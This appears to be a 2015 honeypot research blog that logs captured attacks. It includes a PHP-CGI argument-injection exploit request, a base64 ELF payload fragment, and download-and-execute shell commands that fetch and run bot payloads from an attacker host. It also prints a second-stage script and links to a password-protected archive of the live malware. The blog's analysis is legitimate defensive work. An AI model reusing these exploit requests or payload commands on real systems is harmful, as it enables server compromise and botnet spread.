SendMeSpam

Freitag, 24. Juli 2015

Looking for open SMTP - 193.0.200.136

193.0.200.136
Country: RU RiskScore: 2.9 Malware: [{u'count': 35, u'origin': u'CnC', u'last': u'2014-09-25T07:08:00Z', u'family': [u'darkcomet'], u'ip': u'0x00000000000000000000ffffc100c888', u'uri': u'', u'lastseen': u'2014-09-25T07:08:00Z', u'first': u'2014-09-25T07:08:00Z', u'type': u'CnC', u'firstseen': u'2014-09-25T07:08:00Z', u'md5': u'07A120BC14F6C76372C08547600FC4C0'}]
noauth@jsany.me
zurdocore19@gmail.com
147
MIME-Version: 1.0
From: noauth@jsany.me
To: zurdocore19@gmail.com
Date: 25 Jul 2015 01:32:14 +0200
Subject: 109.234.106.8,noauth@jsany.me,noauth

Telnet hit by well known ip - 98.121.74.52

BEGIN OF TELNET DATA:
2015-07-24 12:25:04
Source IP: 98.121.74.52
Country: US RiskScore: 10 Malware: [{u'count': 1, u'origin': u'SPM', u'domain': u'petuntzesn.debestellung.biz', u'last': u'2015-06-09T14:30:00Z', u'family':
[u'Spam Zero-Day'], u'filepath': u'Rechnung_655377.scr', u'ip': u'0x00000000000000000000ffff62794a34', u'uri': u'file://Rechnung_655377.scr', u'lastseen': u'
2015-06-09T14:30:00Z', u'first': u'2015-06-09T14:30:00Z', u'type': u'SPM', u'firstseen': u'2015-06-09T14:30:00Z', u'md5': u'5081146A6A8549DF8D914DF2B0AF92B5'
}, {u'count': 1, u'origin': u'SPM', u'domain': u'petuntzesn.debestellung.biz', u'last': u'2015-06-09T13:30:00Z', u'family': [u'Spam Zero-Day'], u'filepath':
u'Rechnung_3691423.scr', u'ip': u'0x00000000000000000000ffff62794a34', u'uri': u'file://Rechnung_3691423.scr', u'lastseen': u'2015-06-09T13:30:00Z', u'first'
: u'2015-06-09T13:30:00Z', u'type': u'SPM', u'firstseen': u'2015-06-09T13:30:00Z', u'md5': u'5081146A6A8549DF8D914DF2B0AF92B5'}]
User:
Pass:

END OF DATA

The output shows the output of IBM X-Force and gives you details about the malware found on the IP address. IBM X-Force is integrated within my Honeypot solution per default

HTTP/2 malicious SERVER PUSH (weak POC)

HTTP/2 now supports SERVER PUSH messages

HTTP/2 adds a new interaction mode whereby a server can push responses to a client (Section 8.2). Server push allows a server to speculatively send data to a client that the server anticipates the client will need, trading off some network usage against a potential latency gain. The server does this by synthesizing a request, which it sends as a PUSH_PROMISE frame. The server is then able to send a response to the synthetic request on a separate stream. https://http2.github.io/http2-spec/

So, in my mind that gives an fraudulent server a great opportunity to do bad stuff to the client. While thinking about it and jumping back out of bed to search for a scenario, I created the data for this (weak) POC.
I call it a weak POC, cause I guess there is much more, I just wanted to show that it works in some way, what an attacker could do is for others to prove :-)

I used nghttp2 for both, server and client.

The server is started with

./nghttpd -v --echo-upload -p/test=/eicar.com.txt.gz --early-response 8081 local.key local.crt

The -p option tell the server to push the EICAR test signature in case /test is requested.

The client than I call with

./nghttp -v https://<local ip>:8081/test

On server side we can see

That the server has send the EICAR test signature like I wanted to

This shows up in the client output as well

and gets displayed later on

Donnerstag, 23. Juli 2015

HTTP Buffer overflow attempt - 204.15.135.116

BEGIN OF HTTP DATA:
2015-07-23 18:20:31
Source IP: 204.15.135.116
Country: US RiskScore: 1 Malware: []
POST /cgi-bin/php-cgi.bin?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68
%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65
%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F
%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F
%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
Host: 195.169.125.87
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 43604
Connection: close

The decoded string is

/cgi-bin/php-cgi.bin?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env="yes"+-d+cgi.fix_pathinfo=1+-d+auto_prepend_file=php://input+-n

More intresting is the buffer overflow which was tried to do

<?php
$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAEDwQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAA5EMAAAAAAADkQwAAA
AAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAB1k/mqVVBYIeAHDRYAAAAAYJ4AAGCeAAAAAgAAsAAAAAIAAAD7+yH/f0VMRgIBAQACAD4ADdAbQA+7ZL8XBQCglyITOADdsu67CAUbABoABg8FJwdA5IQ8IcABAAgA2GCT7gNwBHhABwIyIU8cAAAB+cAG9m+NB2SJADyTbQkAEDcGkJ6dkO8HUDAFN+ALNxnkQgIoBySDTUhQoN+gpJsMMgQcB0AHmZA
nIAAABFDlE/K933RkC+SADQdAlGcOS8gBADdRp4BhI7AApwAAAAAAAEAC/2SHAADuOAAAAkkHANt/u/0vbGliNjQFZC0IbnV4LXg4Ni0PLvem2/5zby4yAAQAABADAUdOVQAASHfJ5QIABgBDC1BN0w02Swc8
H0lATTdI0zQyO0RKA6S7sE0HOQAAEws0gDTdF2cpaxY2NE03yCgNGzU+RQ02SNNMIE+zC03TdIMPSB8FKzElgw3SNCojIQc4gw3YIC2TPQdH0zTdIA4DOkFGbNM0TRsUTggzAACSAeyCAy8PZpDBBhgjEBWQb
kCaBAoSCx9kCBtsHgcmTxEhGaQbLiMJIoakG7IsDwYTMCdBugHpDyQvCzemaZqGHCc/FxlCAZBBmh0MGmSQy96KAdcXOG5eyEGGo0kCSAEMciHPR3YABZ6H5OyQbAEXvIUADDIkJyYoTyBDMoTI95CDDcn2Xo
/HALtAnrzIAAgCcdeNZJAhjs6DMCSDRx+vBwuQDDIk1XTsAjnYkY9qAA5fHZLBhpkXaO1EO6SQnEd7myB3IWSwIZsXgkhOXsgVAr4KB+SQnHBiAcc7IQIdsiHkGFan3wuEMIScL7QGN32NQzZbj+kHihstQjb
IkC+czxeTQ/K9j7+7PAFIBhmSlVSzySEZbNwX/6oBSE4OyfhmANCMIRlki/JkP2SQIRncEkEtG7IhYy8rH2BDNoFHpC+kF8iGDck09DdfCENycrkBZdRXXNghbBdqAi+iDDYkg9kQj8FGMsiQ8vcGGZLBXy43
6yEZbEgzL2JgDMnJOQE0rc9CTg7JUckAVMnJIRtIFzwD4TYkgw1Ld8iQCCQXCBwCh+iQITk7qQGnSSUNyQVyugA8cQwyJIPvmBFCsJE1hHFPHySDDdkXCket7JAMNu4Xex8Bg05oE+fA1UCVTQgGkHjOHgAgB
0KQnHXId0EBH9TYEDLIClkVX+3//0MAX0p2X1JlZ2lzdGVyQ2xhc3NlcxN3tL39X2dtb25fEmFydAsAOnB0aP23ePRyZWFkLwl3YWl0cGlkALDbVroRY3a4KG4HdAAhbXOXfV9leGkMYwVXAFNvxdq3bi1hY2
NlFzxVb3Jrt67dbhVpZxN0aT9vaDdycrqRzf5ub19sb2NhEhCEY9Z+a/R+JJZyY3B5ABQ83ejb3WwMZG91UHZzcHLXdGa5d262D24IQCd0b2xfDTc3drtKbmEqZ2W1ZgfibWVtt+a+bURwZYsTZW8xbdvWbq4
jbUFsZacFeZ5udmtta6YgbyJ8d2NrNWvb/7rHbOpmZmx1c2gGYy4RzwoXWtc0cm0GPGtp2JpbagaTae4DMF/NtdddAmRyNXQ [... SNIPPET. ..]

My honeypot fetched 8k of data, which is the maximum length of the used buffer.

Dienstag, 21. Juli 2015

Telnet Honeypot works

More like a Proof of Service

2015-07-22 06:46:58
Source IP: 218.161.14.170
Country: TW RiskScore: 1 Malware: []
echo -e '\x67\x61\x79\x66\x67\x74'
User: root
Pass: root

END OF DATA

I implemented a TELNET honeypot service yesterday evening.
The access attempts during the night show that it works. The one posted above is one of the nicer ones, at the attacker at least tried to run a command also.

The TELNET server will welcomes you and asks you for username and password. He will let you access anyway and give you the chance to fire one command, actually, it let you type one command.

Montag, 20. Juli 2015

A two stage compromise attack

I am pretty sure you have read the blog post for the php code execution attack.

http://sendmespamids.blogspot.nl/2015/07/encoded-bot-execution-from-16220914224.html

If you want to read the full data of my analyse I would like to point you to the pdf on this attack
https://drive.google.com/file/d/0B9asJlVwm-MObnluUUJoVzdQYkk/view?usp=sharing

But now to the other side of the story. By using my other/old honeypot I had not the feature of succesful attacks. Means, they always respond in two ways

Random Data (like artillery)
unsuccessful "40x" (like Beeswarm and Apache)

So, my software was designed to respond with "200 OK" for each data received. The basic idea was, well, I need to respond with something and "200 OK" made the most sense. So, as by this design I may have found a real benefit I was not aware of.

Two stage compromise attacks

The attack described within the other post had two stages.

PHP related encoded url
PHP system() call to download and execute the malicous code

I am currently sure that the stage two would not had happen if I had not responded with "200 OK" to the first attack. So attack design is a very is IF...THAN attack.

Stage 1, is only used to find a target which is vulnerable. So I do not spread my code into the wild, or the hand of a researcher without being sure it would work.
A good indicator for this theory is, that although the malware was written in 2008 and repacked in 2014, many Anti-Virus solutions does not detect it and even Virustotal does not report the download side as malicous.

Sonntag, 19. Juli 2015

Encoded bot execution from 162.209.14.224 including attack IPs

2015-07-19 16:28:52
Source IP: 162.209.14.224
Country: US RiskScore: 1 Malware: []
POST //%63%67%69%2d%62%69%6e/%70%68%70?%2d%64+%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%3d%6f%6e+%2d%64+%73%61%66%65%5f%6d%6f%64%65%3d%6f%66%66+%2d
%64+%73%75%68%6f%73%69%6e%2e%73%69%6d%75%6c%61%74%69%6f%6e%3d%6f%6e+%2d%64+%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%3d%22%22+%2d%64+%6f%70%65%6e%5
f%62%61%73%65%64%69%72%3d%6e%6f%6e%65+%2d%64+%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%3d%70%68%70%3a%2f%2f%69%6e%70%75%74+%2d%64+%63%67%69%2e%66%6f%72%63%65%5f%72%65%64%69%72%65%63%74%3d%30+%2d%64+%63%67%69%2e%72%65%64%69%72%65%63%74%5f%73%74%61%74%75%73%5f%65%6e%76%3d%30+%2d%64+%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%3d%70%68%70%3a%2f%2f%69%6e%70%75%74+%2d%6e HTTP/1.1
Host: -h
Content-Type: application/x-www-form-urlencoded
Content-Length: 188

<? system("cd /tmp ; wget trying.us.to/seed.jpg ; curl -O http://trying.us.to/seed.jpg ; fetch http://trying.us.to/seed.jpg ; tar -xzvf seed.jpg ; chmod +x seed ; ./seed ; rm -rf * "); ?>
END OF DATA

This is a really really nice one.
The seed.jpg is basically just a script to download the original payload

#!/bin/bash
cd /var/tmp/ ;wget trying.us.to/index.htm; curl -O http://trying.us.to/index.htm; fetch http://trying.us.to/index.htm; tar -xzvf index.htm;rm -rf index.htm; perl /var/tmp/libssl3.so.2 ; rm -rf *; wget trying.us.to/stats.php;fetch http://trying.us.to/stats.php ;curl -O http://trying.us.to/stats.php; tar -xzvf stats.php ; rm -rf stats.php ; cd .d ;./autorun

This scripts leads to the download of two files. index.htm and stats.php. Both are zipped tar archives.

index.htm is a IRC bot, the name of the unzipped file is libssl3.so.2
The second file, is the nicer one
It includes a full folder structure which can be found in .d

The file bang.txt includes a list of more than 15.000 IP addresses

I uploaded all files to my google drive:

https://drive.google.com/file/d/0B9asJlVwm-MOelRJZm4yOVhkSmM/view?usp=sharing

the Password is "danger"